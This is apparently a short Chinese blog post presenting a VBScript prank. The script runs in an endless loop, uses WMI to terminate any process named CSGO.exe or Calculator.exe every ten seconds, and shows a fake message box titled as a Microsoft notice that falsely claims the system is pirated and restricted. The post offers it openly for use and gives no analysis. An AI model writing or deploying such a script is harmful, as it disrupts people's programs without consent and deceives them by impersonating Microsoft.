美文网首页
MSGBOX可有可无

MSGBOX可有可无

作者: 如果成功了 | 来源:发表于2017-07-15 20:48 被阅读0次

On Error Resume Next

Dim bag,pipe,honker,good

Do

good="."

set bag=getobject("winmgmts://"& good &"/root/cimv2")

set pipe=bag.execquery("select * from win32_process where name='CSGO.exe' or name='Calculator.exe'")

for each i in pipe

i.terminate()

msgbox "您可能是盗版系统受害者,现已进行功能限制" & vbcrlf & "请使用正版系统!",,"微软提示"

next

wscript.sleep 10000

loop

相关文章

网友评论

      本文标题:MSGBOX可有可无

      本文链接:https://www.haomeiwen.com/subject/lsyzhxtx.html